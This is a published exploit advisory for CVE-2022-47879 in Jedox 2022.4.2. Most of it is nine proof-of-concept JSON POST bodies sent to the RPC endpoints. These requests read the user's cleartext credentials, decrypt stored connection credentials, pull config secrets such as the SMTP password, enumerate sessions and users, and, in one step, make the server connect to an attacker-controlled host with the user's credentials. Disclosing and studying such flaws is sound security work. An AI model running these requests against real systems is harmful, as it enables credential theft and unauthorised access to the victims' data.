Jedox 2022.4.2 RPC Interface Remote Code Execution

`# Exploit Title: Jedox 2022.4.2 - Code Execution via RPC Interfaces  
# Date: 28/04/2023  
# Exploit Author: Team Syslifters / Christoph MAHRL, Aron MOLNAR, Patrick PIRKER and Michael WEDL  
# Vendor Homepage: https://jedox.com  
# Version: Jedox 2022.4 (22.4.2) and older  
# CVE : CVE-2022-47879  
  
  
Introduction  
=================  
A Remote Code Execution (RCE) vulnerability in /be/rpc.php and /be/erpc.php allows remote authenticated users to load arbitrary PHP classes from the rtn directory and to execute its methods. To exploit this vulnerability, the attacker needs knowledge about loadable classes, their methods and arguments.  
  
  
Write-Up  
=================  
See [Docs Syslifters](https://docs.syslifters.com/) for a detailed write-up on how to exploit vulnerability.  
  
  
Proof of Concept  
=================  
1) The `Studio::getUserCreds` function can be used to read the clear text credentials of the currently authenticated user.  
  
PATH: /be/rpc.php  
METHOD: POST  
BODY:  
[  
[  
"Studio",  
"getUserCreds"  
]  
]  
  
2) Using function `conn::test_palo`, an outgoing HTTP connection can be initiated from the web server to an attacker controlled server (Specify HOST and PORT) with the authenticated user's credentials. This could leak cleartext credentials to an attacker.  
  
PATH: /be/rpc.php  
METHOD: POST  
BODY:  
[  
[  
"conn",  
"test_palo",  
[  
"<HOST>",  
"<PORT>",  
"",  
"",  
true,  
null  
]  
]  
]  
  
3) The function `Studio::getExternURI` can be used to generate a URL with embedded username and encrypted password of the currently authenticated user.  
  
PATH: /be/rpc.php  
METHOD: POST  
BODY:  
[  
[  
"Studio",  
"getExternURI",  
[  
0,  
"",  
[  
0  
],  
{  
"flag":1  
}  
]  
]  
]  
  
4) List all available database connections via `conn::ls`:  
  
PATH: /be/rpc.php  
METHOD: POST  
BODY:  
[  
[  
"conn",  
"ls",  
[  
null,  
false,  
true,  
[  
"type",  
"active",  
"description"  
]  
]  
]  
]  
  
5) Retrieve details of individual database connection (specify connection name via CONNECTION) including encrypted credentials using the Java RPC function `com.jedox.etl.mngr.Connection::getGlobalConnection`:  
  
PATH: /tc/rpc  
METHOD: POST  
BODY:  
[  
[  
"com.jedox.etl.mngr.Connections",  
"getGlobalConnection",  
[  
"<CONNECTION>"  
]  
]  
]  
  
6) Some functions return credentials only in encrypted form. However, they can be decrypted by any user using `common::decrypt` (specify encrypted credentials via ENCRYPTEDCREDS):  
  
PATH: /be/rpc.php  
METHOD: POST  
BODY:  
[  
[  
"common",  
"decrypt",  
[  
"<ENCRYPTEDCREDS>"  
]  
]  
]  
  
7) Using `common::paloGet` it is possible to read arbitrary configuration parameters (specify config param via CONFIG. For example, the password of the SMTP server can be read with it (CONFIG: tasks.smtp.password):  
  
PATH: /be/rpc.php  
METHOD: POST  
BODY:  
[  
[  
"common",  
"paloGet",  
[  
null,  
"Config",  
"#_config",  
[  
"config"  
],  
{  
"config": [  
"<CONFIG>"  
]  
},  
true,  
true  
]  
]  
]  
  
8) The function `palo_mgmt::sess_list` can be used to retrieve a list of all active user sessions. The session information includes not only the username but also the user's IP address, information about the browser and other data.  
  
PATH: /be/rpc.php  
METHOD: POST  
BODY:  
[  
[  
"palo_mgmt",  
"sess_list",  
[  
null  
]  
]  
]  
  
9) The function `palo_mgmt::lic_users_list` returns a list of all users stored in the system:  
  
PATH: /be/rpc.php  
METHOD: POST  
BODY:  
[  
[  
"palo_mgmt",  
"lic_users_list",  
[  
"0"  
]  
]  
]  
  
`